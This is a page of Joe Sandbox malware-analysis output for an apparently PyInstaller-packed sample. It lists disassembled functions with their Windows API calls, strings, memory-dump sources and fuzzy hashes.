Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 0222097b9c90264a1a2c87a2a2fde68e1a94831f5278aced0db9eca26447961c
Instruction ID: 5faf2dcf634453205b20e61b94ecc619cba160dcf0766a63f7d000a4e0d2f3cd
Opcode Fuzzy Hash: 0222097b9c90264a1a2c87a2a2fde68e1a94831f5278aced0db9eca26447961c
Instruction Fuzzy Hash: FF214F21A0864281F610FB20E8593EAA3A6FF94784FC44077EA4D4379ADF3CD945C762

Function 00007FF8E8137370 Relevance: 9.1, APIs: 6, Instructions: 60networkCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF8E81373A8
WSADuplicateSocketW.WS2_32 ref: 00007FF8E81373B8
WSASocketW.WS2_32 ref: 00007FF8E81373EB
SetHandleInformation.KERNEL32 ref: 00007FF8E8137405
closesocket.WS2_32 ref: 00007FF8E813741A
closesocket.WS2_32 ref: 00007FF8E8137440

Memory Dump Source

Source File: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID: Socketclosesocket$CurrentDuplicateHandleInformationProcess
String ID:
API String ID: 174288908-0
Opcode ID: e73c3e338b1d3a0163c9cb3dc333ceb7c9fc365eae773b70ffb101dc398ab952
Instruction ID: fea1a7b5399a9b337f2129743e0eb2d25d3df6d05b8b8a06ba288240542d7c45
Opcode Fuzzy Hash: e73c3e338b1d3a0163c9cb3dc333ceb7c9fc365eae773b70ffb101dc398ab952
Instruction Fuzzy Hash: D7215020B0CB4282FA645BA1A8183BD2290AF89BF4F061735DD2E067D4DF3CE044C606

Function 00007FF7EAD1B2C8 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF7EAD14F11,?,?,?,?,00007FF7EAD1A48A,?,?,?,?,00007FF7EAD1718F), ref: 00007FF7EAD1B2D7
FlsSetValue.KERNEL32(?,?,?,00007FF7EAD14F11,?,?,?,?,00007FF7EAD1A48A,?,?,?,?,00007FF7EAD1718F), ref: 00007FF7EAD1B30D
FlsSetValue.KERNEL32(?,?,?,00007FF7EAD14F11,?,?,?,?,00007FF7EAD1A48A,?,?,?,?,00007FF7EAD1718F), ref: 00007FF7EAD1B33A
FlsSetValue.KERNEL32(?,?,?,00007FF7EAD14F11,?,?,?,?,00007FF7EAD1A48A,?,?,?,?,00007FF7EAD1718F), ref: 00007FF7EAD1B34B
FlsSetValue.KERNEL32(?,?,?,00007FF7EAD14F11,?,?,?,?,00007FF7EAD1A48A,?,?,?,?,00007FF7EAD1718F), ref: 00007FF7EAD1B35C
SetLastError.KERNEL32(?,?,?,00007FF7EAD14F11,?,?,?,?,00007FF7EAD1A48A,?,?,?,?,00007FF7EAD1718F), ref: 00007FF7EAD1B377

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 511c86220214880ca4b01c77dd55d0a7de68e458561f726588d357ec3f22002e
Instruction ID: 10b2ff77d91ebd9834225588a6c44b9d8dad45fda4d32e8db72292485a5836d3
Opcode Fuzzy Hash: 511c86220214880ca4b01c77dd55d0a7de68e458561f726588d357ec3f22002e
Instruction Fuzzy Hash: 01114930E0D64282FA58F331964137DD386DF687B0F8446B6E92E476DEDE3CA8518322

Function 00007FF7EAD02910 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 86COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF7EAD01B6A), ref: 00007FF7EAD0295E

Strings

%s: %s, xrefs: 00007FF7EAD029E8
Error [ANSI Fallback], xrefs: 00007FF7EAD029FF
Error, xrefs: 00007FF7EAD02A0E
[PYI-%d:ERROR] , xrefs: 00007FF7EAD02966

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: CurrentProcess
String ID: %s: %s$Error$Error [ANSI Fallback]$[PYI-%d:ERROR]
API String ID: 2050909247-2962405886
Opcode ID: b3354eec44a94607d33eb4f3788ab89374ba031f66333e1b118589dca889f3f3
Instruction ID: ae51f5d1fe83f2c971d4e73fef52d4a43429731f2b0db052b25811b2ee4d1c3f
Opcode Fuzzy Hash: b3354eec44a94607d33eb4f3788ab89374ba031f66333e1b118589dca889f3f3
Instruction Fuzzy Hash: 2C31CF22B1968152F720E765A8803E6A395FF887D8F800133FE8D8374DEE7CD14AC621

Function 00007FF7EAD02390 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7EAD023C8
DialogBoxIndirectParamW.USER32 ref: 00007FF7EAD0248E
DeleteObject.GDI32 ref: 00007FF7EAD024C1
DestroyIcon.USER32 ref: 00007FF7EAD024D3

Strings

Unhandled exception in script, xrefs: 00007FF7EAD023F8

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 1a8653f9ef4157c26f2335c81c204ff7a5d47729ffdf6617f9212c2ec85f79f4
Instruction ID: 7d026c2daf2c81c5c0280fff79927e456b28180bb2e537748e3cb749f588f78a
Opcode Fuzzy Hash: 1a8653f9ef4157c26f2335c81c204ff7a5d47729ffdf6617f9212c2ec85f79f4
Instruction Fuzzy Hash: 28316372A19A8189FB20EB21E8553F9A364FF88788F840176EA4D47B5DDF3CD105C721

Function 00007FF8E8137884 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 79COMMON

Download Yara Rule

Strings

socket.gethostbyaddr, xrefs: 00007FF8E81378DB
et:gethostbyaddr, xrefs: 00007FF8E81378B7
idna, xrefs: 00007FF8E81378AD
unsupported address family, xrefs: 00007FF8E813793E

Memory Dump Source

Source File: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: et:gethostbyaddr$idna$socket.gethostbyaddr$unsupported address family
API String ID: 0-1751716127
Opcode ID: 5086264f726791613e909880d31947cc31a9419187b2cdc6173c49615d767bb6
Instruction ID: c94e844e57524290fd104842182c2d369d37aa6f4fdddf50dc90d9913178daba
Opcode Fuzzy Hash: 5086264f726791613e909880d31947cc31a9419187b2cdc6173c49615d767bb6
Instruction Fuzzy Hash: D0316161A18B8681EA209BA5F8447FE6364FF89BD4F460132DE8E43754DF3CE449C749

Function 00007FF7EAD02B50 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,FFFFFFFF,00000000,00007FF7EAD0918F,?,00007FF7EAD03C55), ref: 00007FF7EAD02BA0
MessageBoxW.USER32 ref: 00007FF7EAD02C2A

Strings

WARNING, xrefs: 00007FF7EAD02BAF
Warning, xrefs: 00007FF7EAD02C1D
[PYI-%d:%ls] , xrefs: 00007FF7EAD02BA8

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: CurrentMessageProcess
String ID: WARNING$Warning$[PYI-%d:%ls]
API String ID: 1672936522-3797743490
Opcode ID: 4a0b6e8ebe13cae449087f655af1d2523953ec7fd560ce9a50e7097f48d063a1
Instruction ID: da505b91eaedee4c8d100829ab9c4c40a91cdb1d33957f570433fb2b5490e2bc
Opcode Fuzzy Hash: 4a0b6e8ebe13cae449087f655af1d2523953ec7fd560ce9a50e7097f48d063a1
Instruction Fuzzy Hash: 1721A172708B4142F711EB64F8847EAA3A5FB88784F800136EA8D57659DE3CE245C751

Function 00007FF7EAD02710 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,?,00000000,00007FF7EAD01B99), ref: 00007FF7EAD02760

Strings

[PYI-%d:%s] , xrefs: 00007FF7EAD02768
Error [ANSI Fallback], xrefs: 00007FF7EAD027CF
Error, xrefs: 00007FF7EAD027DE
ERROR, xrefs: 00007FF7EAD0276F

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: CurrentProcess
String ID: ERROR$Error$Error [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-1591803126
Opcode ID: a4fe537d534c2fb53088f6f6b76b448a80ccad2508d4dc842b27f1a8247accfc
Instruction ID: b3653a7480c60acb36a9dd249aad42a1c08dedfdf0c78cfb7d5841418f6292e5
Opcode Fuzzy Hash: a4fe537d534c2fb53088f6f6b76b448a80ccad2508d4dc842b27f1a8247accfc
Instruction Fuzzy Hash: E2217C72A19B8182F720EB60B8817E6A7A4EB88784F800176FA8D4365DDF7CD1498651

Function 00007FF8E8137F00 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 44networkCOMMON

Download Yara Rule

APIs

getservbyname.WS2_32 ref: 00007FF8E8137F6E
htons.WS2_32 ref: 00007FF8E8137FB1

Strings

s|s:getservbyname, xrefs: 00007FF8E8137F10
socket.getservbyname, xrefs: 00007FF8E8137F40
service/proto not found, xrefs: 00007FF8E8137F91

Memory Dump Source

Source File: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID: getservbynamehtons
String ID: service/proto not found$socket.getservbyname$s|s:getservbyname
API String ID: 3889749166-1257235949
Opcode ID: 81776a8363e7915c76650aa2291702c83d97d5dac441e15644519e5976245378
Instruction ID: 84abe6599e505b7d285148540287b41f9e0ffb6758c4298b0fc681afb8418461
Opcode Fuzzy Hash: 81776a8363e7915c76650aa2291702c83d97d5dac441e15644519e5976245378
Instruction Fuzzy Hash: E3111F61A1CB4782EA40DBA1E98437D6375FF8ABC5F550032DA8E43A64DF3CD445C746

Function 00007FF7EAD19A88 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF7EAD19AAD
GetProcAddress.KERNEL32 ref: 00007FF7EAD19AC3
FreeLibrary.KERNEL32 ref: 00007FF7EAD19AEA

Strings

mscoree.dll, xrefs: 00007FF7EAD19AA4
CorExitProcess, xrefs: 00007FF7EAD19ABC

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: b239dd027a539e56a716c05e535b4da9cb8e2339e08a4dc57142401ef2416000
Instruction ID: 0d68a3035b4517ca4c50f72d4311e48bb8cd06f2c2e59faff72b6f0653c3bdd8
Opcode Fuzzy Hash: b239dd027a539e56a716c05e535b4da9cb8e2339e08a4dc57142401ef2416000
Instruction Fuzzy Hash: E3F0C231B0970681FB10EB20E48437AA320EF55760F940276C66E461ECDF7CE148C331

Function 00007FF8E80FA874 Relevance: 7.7, APIs: 5, Instructions: 200encryptionCOMMON

Download Yara Rule

APIs

00007FF8E707CA38.PYTHON313 ref: 00007FF8E80FA895

Part of subcall function 00007FF8E80FCCDC: CertOpenStore.CRYPT32 ref: 00007FF8E80FCD07

GetLastError.KERNEL32 ref: 00007FF8E80FA8CE
CertEnumCertificatesInStore.CRYPT32 ref: 00007FF8E80FA9AF
CertFreeCertificateContext.CRYPT32 ref: 00007FF8E80FAA50
CertCloseStore.CRYPT32 ref: 00007FF8E80FAAC4

Memory Dump Source

Source File: 00000002.00000002.1495132572.00007FF8E80F1000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00007FF8E80F0000, based on PE: true

Associated: 00000002.00000002.1494989941.00007FF8E80F0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495132572.00007FF8E80FE000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495132572.00007FF8E8111000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495132572.00007FF8E811A000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495132572.00007FF8E811E000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495565226.00007FF8E8121000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495640960.00007FF8E8123000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e80f0000_SecuriteInfo.jbxd

Similarity

API ID: Cert$Store$00007CertificateCertificatesCloseContextE707EnumErrorFreeLastOpen
String ID:
API String ID: 888773134-0
Opcode ID: 7eb488ba5e32441d0f01a54a1631f0afa1a8ca53c20eef8b2eeae5f161c725b6
Instruction ID: ee67071971a77a5e676ef8de701560801d078df7fc4c2309684a926776d50447
Opcode Fuzzy Hash: 7eb488ba5e32441d0f01a54a1631f0afa1a8ca53c20eef8b2eeae5f161c725b6
Instruction Fuzzy Hash: 67813C35A4DA4285FE55AFA5AA1433D22A5BF48BD8F4CC430DD0E067D1DF3DA45AC30A

Function 00007FF8E80FAC0C Relevance: 7.7, APIs: 5, Instructions: 161encryptionCOMMON

Download Yara Rule

APIs

00007FF8E707CA38.PYTHON313 ref: 00007FF8E80FAC27

Part of subcall function 00007FF8E80FCCDC: CertOpenStore.CRYPT32 ref: 00007FF8E80FCD07

GetLastError.KERNEL32 ref: 00007FF8E80FAC60
CertEnumCRLsInStore.CRYPT32 ref: 00007FF8E80FACF1
CertFreeCRLContext.CRYPT32 ref: 00007FF8E80FAD76
CertCloseStore.CRYPT32 ref: 00007FF8E80FADCF

Memory Dump Source

Source File: 00000002.00000002.1495132572.00007FF8E80F1000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00007FF8E80F0000, based on PE: true

Associated: 00000002.00000002.1494989941.00007FF8E80F0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495132572.00007FF8E80FE000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495132572.00007FF8E8111000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495132572.00007FF8E811A000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495132572.00007FF8E811E000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495565226.00007FF8E8121000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495640960.00007FF8E8123000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e80f0000_SecuriteInfo.jbxd

Similarity

API ID: Cert$Store$00007CloseContextE707EnumErrorFreeLastOpen
String ID:
API String ID: 2569391109-0
Opcode ID: e918e1c0eddfe07976633dd5ae524c922d6a439c169cdbef9b1a398d1dea870d
Instruction ID: aa9d8041458669c99523e430c5c1926af2619afaf7e834a6144ed040e04a1720
Opcode Fuzzy Hash: e918e1c0eddfe07976633dd5ae524c922d6a439c169cdbef9b1a398d1dea870d
Instruction Fuzzy Hash: B1510C32E8DA5286FE595FA1991433D22A5AF89BDAF5CC430CD0E4A7D4DF3CA441C70A

Function 00007FF8E81381A8 Relevance: 7.6, APIs: 5, Instructions: 106COMMON

Download Yara Rule

APIs

GetIfTable2Ex.IPHLPAPI ref: 00007FF8E81381E9
ConvertInterfaceLuidToNameW.IPHLPAPI ref: 00007FF8E8138261
FreeMibTable.IPHLPAPI ref: 00007FF8E81382CB
FreeMibTable.IPHLPAPI ref: 00007FF8E8138329
FreeMibTable.IPHLPAPI ref: 00007FF8E813834C

Memory Dump Source

Source File: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID: FreeTable$ConvertInterfaceLuidNameTable2
String ID:
API String ID: 1671601251-0
Opcode ID: 04bc949163b978593711b8e016bbaabdb93266c53af34e1d09aed761846783f8
Instruction ID: 2fdc2815cd17ffee97ca74025f7b1213bbd34f6dbcc83861b59f261669211276
Opcode Fuzzy Hash: 04bc949163b978593711b8e016bbaabdb93266c53af34e1d09aed761846783f8
Instruction Fuzzy Hash: 55413D36E0CA4282EB649BA1E85437D73A0FF89BC5F460035C94E62794DF3CE449CB4A

Function 00007FF8E80FCCDC Relevance: 7.6, APIs: 5, Instructions: 64encryptionCOMMON

Download Yara Rule

APIs

CertOpenStore.CRYPT32 ref: 00007FF8E80FCD07
CertOpenStore.CRYPT32 ref: 00007FF8E80FCD3A
CertAddStoreToCollection.CRYPT32 ref: 00007FF8E80FCD55
CertCloseStore.CRYPT32 ref: 00007FF8E80FCD62
CertCloseStore.CRYPT32 ref: 00007FF8E80FCD8A

Memory Dump Source

Source File: 00000002.00000002.1495132572.00007FF8E80F1000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00007FF8E80F0000, based on PE: true

Associated: 00000002.00000002.1494989941.00007FF8E80F0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495132572.00007FF8E80FE000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495132572.00007FF8E8111000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495132572.00007FF8E811A000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495132572.00007FF8E811E000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495565226.00007FF8E8121000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495640960.00007FF8E8123000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e80f0000_SecuriteInfo.jbxd

Similarity

API ID: CertStore$CloseOpen$Collection
String ID:
API String ID: 1995843185-0
Opcode ID: aaba8413391d0e4b0f15a030ceca06c547fe89b67491544b9257196f0b72f74b
Instruction ID: d06ffde680406260486f63c0c7c1bf524c478be2b27d3e15fd0cd3de7b4515aa
Opcode Fuzzy Hash: aaba8413391d0e4b0f15a030ceca06c547fe89b67491544b9257196f0b72f74b
Instruction Fuzzy Hash: 71218332B1CA6586FB648FA2E805B6D6651FF84BD4F448430DE0D07B94EF3CE5568605

Function 00007FF7EAD29368 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF7EAD29390
_set_statfp.LIBCMT ref: 00007FF7EAD293AB
_set_statfp.LIBCMT ref: 00007FF7EAD293C7
_set_statfp.LIBCMT ref: 00007FF7EAD29403

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: 1f19412b6e179195adf8c0d28e5bfbfa09cfc95307ff25947d789b3e9eedac2b
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: A2118232E5CB0301FA78B165E4A13799350EF59360E840EB6EA6E163DECE7C6942C132

Function 00007FF7EAD1B390 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF7EAD1A5A3,?,?,00000000,00007FF7EAD1A83E,?,?,?,?,?,00007FF7EAD1A7CA), ref: 00007FF7EAD1B3AF
FlsSetValue.KERNEL32(?,?,?,00007FF7EAD1A5A3,?,?,00000000,00007FF7EAD1A83E,?,?,?,?,?,00007FF7EAD1A7CA), ref: 00007FF7EAD1B3CE
FlsSetValue.KERNEL32(?,?,?,00007FF7EAD1A5A3,?,?,00000000,00007FF7EAD1A83E,?,?,?,?,?,00007FF7EAD1A7CA), ref: 00007FF7EAD1B3F6
FlsSetValue.KERNEL32(?,?,?,00007FF7EAD1A5A3,?,?,00000000,00007FF7EAD1A83E,?,?,?,?,?,00007FF7EAD1A7CA), ref: 00007FF7EAD1B407
FlsSetValue.KERNEL32(?,?,?,00007FF7EAD1A5A3,?,?,00000000,00007FF7EAD1A83E,?,?,?,?,?,00007FF7EAD1A7CA), ref: 00007FF7EAD1B418

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
